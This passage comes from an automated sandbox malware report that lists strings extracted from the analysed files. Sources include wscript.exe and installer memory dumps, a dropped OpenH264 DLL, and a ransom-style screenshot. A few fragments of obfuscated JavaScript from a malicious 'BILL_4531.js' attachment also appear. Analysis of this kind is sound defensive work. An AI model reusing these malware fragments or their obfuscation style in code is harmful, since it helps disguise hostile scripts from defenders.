Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

CreateUriCacheSize

Unicode based on Runtime Data (wscript.exe )

CreateURLMonikerEx

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateWindowExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

CreateWindowExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Critical

Ansi based on Dropped File (gmpopenh264.dll.97104820)

cscript

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Current MaxSpatialBitrate is zero,Get this value from level limitation(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWDIllegalInDLLSearch

Unicode based on Runtime Data (wscript.exe )

CWelsDecoder::CWelsDecoder() entry

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::init_decoder(), openh264 codec version = %s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::Initialize(), invalid input argument.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption for ERROR_CON_IDC = %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::SetOption():DECODER_OPTION_GET_STATISTICS: this option is get-only!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::uninit_decoder(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsDecoder::~CWelsDecoder()

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pFirstMbInSlice is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pNalLen is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pNalList is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: pSlice is NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc MbCache not successful at slice_idx=%d (max-slice=%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc pCountMbNumInSlice not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::DynSliceRealloc: realloc pSlcingOverRc not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::ForceIntraFrame(), bIDR= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_BITRATE, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_DATAFORMAT, m_iCspInternal= 0x%x

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_FRAME_RATE, fMaxFrameRate = %.6ff

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_IDR_INTERVAL, uiIntraPeriod= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_MAX_BITRATE,, layerId =%d,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_BASE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::GetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_EXT

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitEncoder(), openh264 codec version = %s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid argv= 0x%p

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid argv= 0x%p.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid iSpatialLayerNum= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid iTemporalLayerNum= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiGopSize= %d, valid at range of [1, %d] and yield to power of 2.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiGopSize= %d, valid at range of [1, %d].

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiIntraPeriod= %d, valid in case it equals to 0 for unlimited intra period or exceeds specified uiGopSize= %d also multiple of it.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), invalid uiIntraPeriod= %d, valid in case it equals to 0 for unlimited intra period or exceeds specified uiGopSize= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), parameter_translation failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), reinitialize, m_bInitialFlag= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Initialize(), WelsInitEncoderExt failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitializeExt(), invalid argv= 0x%p

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::InitializeExt(), parameter_translation failed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption bPrefixNalAddingCtrl = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable LTR = %d,ltrnum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable SPS/PPS ID = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption enable SSEI = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_LTR_MARKING_PERIOD iLtrMarkPeriod= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE layerId= %d,iMaxSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE layerId= %d,iSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITRATE,iLayer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_BITS_VARY_PERCENTAGE,iBitsVaryPercentage = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_COMPLEXITY,iComplexityMode = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_DATAFORMAT, m_iCspInternal= 0x%x

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_DELIVERY_STATUS,bDeliveryFlag = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_FRAME_RATE,m_pEncContext->pSvcParam->fMaxFrameRate= %f

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_GET_STATISTICS: this option is get-only!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_IDR_INTERVAL iValue= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_IS_LOSSLESS_LINK,bIsLosslessLink = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_LEVEL,layerId = %d,expected level = %d,actual level = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_LTR,expected bEnableLongTermReference = %d,expeced iLTRRefNum = %d,actual bEnableLongTermReference = %d,actual iLTRRefNum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_MAX_BITRATE,iBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_MAX_BITRATE,iLayer = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_NUMBER_REF,expected refNum = %d,actual refnum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_PROFILE,iLayer = %d(rang0-3)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_PROFILE,layerId = %d,expected profile = %d,actual profile = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_RC_MODE iRCMode= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_STATISTICS_LOG_INTERVAL,iStatisticsLogInterval = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_OPTION_SVC_ENCODE_PARAM_BASE iUsageType = %d,iPicWidth= %d;iPicHeight= %d;iTargetBitrate= %d;fMaxFrameRate= %.6ff;iRCMode= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::SetOption():ENCODER_PADDING_PADDING iPaddingFlag= %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::Uninitialize(), openh264 codec version = %s.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::WelsCodeOnePicPartition: DynSliceRealloc not successful

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::WelsCodeOnePicPartition: iSliceIdx(%d) over iMaxSliceNumConstraint(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CWelsH264SVCEncoder::~CWelsH264SVCEncoder()

Ansi based on Dropped File (gmpopenh264.dll.97104820)

CyrixInstead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

czech

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DA0C75D6

Unicode based on Runtime Data (wscript.exe )

dddd, MMMM dd, yyyy

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Debug

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DebugHeapFlags

Unicode based on Runtime Data (wscript.exe )

December

Unicode based on Dropped File (gmpopenh264.dll.97104820)

decimals: 0

Ansi based on Dropped File (home-&-garden)

decode failed, failure type:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

decode-video

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit() failed (%d) in frame: %d uiDId: %d uiQId: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit(), FmoParamUpdate failed, eSliceType: %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeCurrentAccessUnit()::::::PrefetchPic ERROR, pSps->iNumRefFrames:%d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction(): iTotalNumMbRec:%d, total_num_mb_sps:%d, cur_layer_mb_width:%d, cur_layer_mb_height:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction(): will output first frame of new sequence, %d x %d, crop_left:%d, crop_right:%d, crop_top:%d, crop_bottom:%d, ignored error packet:%d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeFrameConstruction():New sequence detected, but freezed.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodePointer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Decoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DecodeSpsSvcExt():extended_spatial_scalability (%d) != 0, ESS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Decoding error dState=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Decoding frame size=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

decrypt

Ansi based on Image Processing (screen_4.png)

Default

Unicode based on Runtime Data (eXe )

DefaultConnectionSettings

Unicode based on Runtime Data (eXe )

DefaultLevel

Unicode based on Runtime Data (wscript.exe )

DefWindowProcA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

DefWindowProcW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DelegateExecute

Unicode based on Runtime Data (wscript.exe )

delete

Ansi based on Dropped File (gmpopenh264.dll.97104820)

delete[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DeleteCriticalSection

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

DeleteFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DeleteObject

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DeregisterEventSource

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Description

Unicode based on Runtime Data (wscript.exe )

Desktop

Unicode based on Runtime Data (wscript.exe )

DestroyWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DevicePath

Unicode based on Runtime Data (wscript.exe )

DiagLevel

Unicode based on Runtime Data (wscript.exe )

DiagMatchAnyMask

Unicode based on Runtime Data (wscript.exe )

DialogBoxParamW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DialupUseLanSettings

Unicode based on Runtime Data (eXe )

Directory not empty

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Disable

Unicode based on Runtime Data (wscript.exe )

disable_deblock_filter_idc (%d) out of range [0, 6]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

disable_inter_layer_deblock_filter_idc (%d) out of range [0, 6]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DisableBasicOverClearChannel

Unicode based on Runtime Data (eXe )

DisableBranchCache

Unicode based on Runtime Data (eXe )

DisableCachingOfSSLPages

Unicode based on Runtime Data (eXe )

DisableImprovedZoneCheck

Unicode based on Runtime Data (wscript.exe )

DisableKeepAlive

Unicode based on Runtime Data (eXe )

DisableLocalOverride

Unicode based on Runtime Data (wscript.exe )

DisableMetaFiles

Unicode based on Runtime Data (wscript.exe )

DisableNTLMPreAuth

Unicode based on Runtime Data (eXe )

DisablePassport

Unicode based on Runtime Data (eXe )

DisableReadRange

Unicode based on Runtime Data (eXe )

DisableSecuritySettingsCheck

Unicode based on Runtime Data (wscript.exe )

DisableUserModeCallbackFilter

Unicode based on Runtime Data (wscript.exe )

DisableWorkerThreadHibernation

Unicode based on Runtime Data (eXe )

DispatchMessageA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

DispatchMessageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

display: block;

Ansi based on Dropped File (nav.css)

display:block;

Ansi based on Dropped File (nav.css)

display:none;

Ansi based on Dropped File (nav.css)

DisplayLogo

Unicode based on Runtime Data (wscript.exe )

DisplayScriptDownloadFailureUI

Unicode based on Runtime Data (eXe )

DisplayString

Unicode based on Runtime Data (eXe )

div.menu li {

Ansi based on Dropped File (nav.css)

div.menu ul {

Ansi based on Dropped File (nav.css)

div.menu {

Ansi based on Dropped File (nav.css)

DllFile

Unicode based on Runtime Data (eXe )

DnsCacheEnabled

Unicode based on Runtime Data (eXe )

DnsCacheEntries

Unicode based on Runtime Data (eXe )

DnsCacheTimeout

Unicode based on Runtime Data (eXe )

DocObject

Unicode based on Runtime Data (wscript.exe )

document.getElementById('age_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('age_val_min'),

Ansi based on Dropped File (home-&-garden)

document.getElementById('length_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('length_val_min'),

Ansi based on Dropped File (home-&-garden)

document.getElementById('price_val_max')

Ansi based on Dropped File (home-&-garden)

document.getElementById('price_val_min'),

Ansi based on Dropped File (home-&-garden)

DoErrorConSliceMVCopy()::pPreviousPic and pDec use same buffer, ignored.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support level(%d) change to LEVEL_5_2

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support profile(%d),change to baseline profile

Ansi based on Dropped File (gmpopenh264.dll.97104820)

doesn't support the number of reference frame(%d) change to auto select mode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Domain

Unicode based on Runtime Data (eXe )

Domain error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DontPrettyPath

Unicode based on Runtime Data (wscript.exe )

DontUseDNSLoadBalancing

Unicode based on Runtime Data (eXe )

DrawTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DriveMask

Unicode based on Runtime Data (wscript.exe )

dsb-DE

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

dutch-belgian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

DYGW9JJXI

Ansi based on Image Processing (screen_4.png)

DynSlcJudgeSliceBoundaryStepBack: AddSliceBoundary: iCurMbIdx=%d, uiLen=%d, uiSliceIdx=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

e+000

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ease wait while Setup is loading...

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

ebeziqef = ebeziqef + 27;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ED6D99A9

Unicode based on Runtime Data (eXe )

EditFlags

Unicode based on Runtime Data (helper.exe )

ee%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

een called

Unicode based on Dropped File (gmpopenh264.dll.97104820)

EFAULT\Control Panel\International

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

eInfo

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

elements.css

Unicode based on Runtime Data (eXe )

embedding

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

emicalis = emicalis + "lwuk";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

emicalis = ufoversiw + wohkihhe;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

EmptyClipboard

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

en-029

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-AU

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-BZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-CA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-GB

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-IN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-JM

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-MY

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-NZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-SG

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-US

Unicode based on Runtime Data (wscript.exe )

en-ZA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

en-ZW

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

EnableAutodial

Unicode based on Runtime Data (eXe )

EnableAutoProxyResultCache

Unicode based on Runtime Data (eXe )

EnableConsoleTracing

Unicode based on Runtime Data (eXe )

Enabled

Unicode based on Runtime Data (wscript.exe )

EnableFileTracing

Unicode based on Runtime Data (eXe )

EnableHttp1_1

Unicode based on Runtime Data (eXe )

EnableHttpTrace

Unicode based on Runtime Data (eXe )

EnableMenuItem

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

EnableNegotiate

Unicode based on Runtime Data (eXe )

EnablePunycode

Unicode based on Runtime Data (wscript.exe )

EnableWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

eNameW

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

encode-video

Ansi based on Dropped File (gmpopenh264.dll.97104820)

EncodePointer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Encoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ENCODER_OPTION_INTER_SPATIAL_PRED, this feature not supported at present.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

EncoderStatistics: %dx%d, SpeedInMs: %f, fAverageFrameRate=%f, LastFrameRate=%f, LatestBitRate=%d, LastFrameQP=%d, uiInputFrameCount=%d, uiSkippedFrameCount=%d, uiResolutionChangeTimes=%d, uIDRReqNum=%d, uIDRSentNum=%d, uLTRS

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Encoding complete. type=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

encrypted

Ansi based on Image Processing (screen_4.png)

EndDialog

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

EndPaint

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

england

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-american

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-aus

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-belize

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-can

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-caribbean

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-ire

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-jamaica

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-nz

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-south africa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-trinidad y tobago

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-uk

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-us

Ansi based on Dropped File (gmpopenh264.dll.97104820)

english-usa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

EnterCriticalSection

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

EnumProcesses

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

EnumProcessModules

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

EnumSystemLocalesA

Ansi based on Dropped File (gmpopenh264.dll.97104820)

EnumThreadWindows

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

eOdoLIJ3dXslo72.mqsk

Unicode based on Runtime Data (eXe )

error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error allocating frame data

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error creating encoded frame

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error launching installer

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

error Level setting (%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Error writing temporary file. Make sure your temp folder is valid.

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

ers\UPw9LUa\AppData\Local\Temp\nsa2FE8.tmp\System.dll

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

es-CL

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

es-NI

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

es-PA

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

es-PY

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

es-US

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

es-UY

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

esday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

eVideoType: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ex_mark_avc():::MMCO_LONG:::LTR marking....iFrameNum: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ex_mark_avc():::MMCO_SHORT2LONG:::LTR marking....iFrameNum: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Exec format error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ExitProcess

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ExitWindowsEx

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

exp10

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ExpandEnvironmentStringsW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Export

Unicode based on Runtime Data (eXe )

extension [option...] [arguments...]Options: //BBatch mode: Suppresses script errors and prompts from displaying //DEnable Active Debugging //E:engineUse engine for executing script //H:CScriptChanges the default script host to CScript.exe //H:WScriptChanges the default script host to WScript.exe (default) //IInteractive mode (default, opposite of //B) //Job:xxxxExecute a WSF job //LogoDisplay logo (default) //NologoPrevent logo display: No banner will be shown at execution time //

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

f_e_V_j'i_inLion

Ansi based on Image Processing (screen_4.png)

false

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Feature_ClientAuthCertFilter

Unicode based on Runtime Data (eXe )

February

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ferror

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ffowzolyl = ffowzolyl + "sbixpyd";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

fgogoqapn = 774 + fgogoqapn;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

File exists

Ansi based on Dropped File (gmpopenh264.dll.97104820)

File too large

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FileDirectory

Unicode based on Runtime Data (eXe )

FileExtensions

Unicode based on Runtime Data (eXe )

Filename too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

FileTracingMask

Unicode based on Runtime Data (eXe )

FillRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Filter

Unicode based on Runtime Data (wscript.exe )

FindClose

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

FindFirstFileA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

FindFirstFileW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

FindNextFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

FindResourceExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

FindWindowExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

FipsAlgorithmPolicy

Unicode based on Runtime Data (wscript.exe )

FiredSliceThreads(), fail due pPriData == %p || pLbi == %p || iEventCnt(%d) <= 0 || pEventsList == %p!!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Firefox

Unicode based on Runtime Data (helper.exe )

Firefox HTML Document

Unicode based on Runtime Data (helper.exe )

Firefox URL

Unicode based on Runtime Data (helper.exe )

FIREFOX.EXE

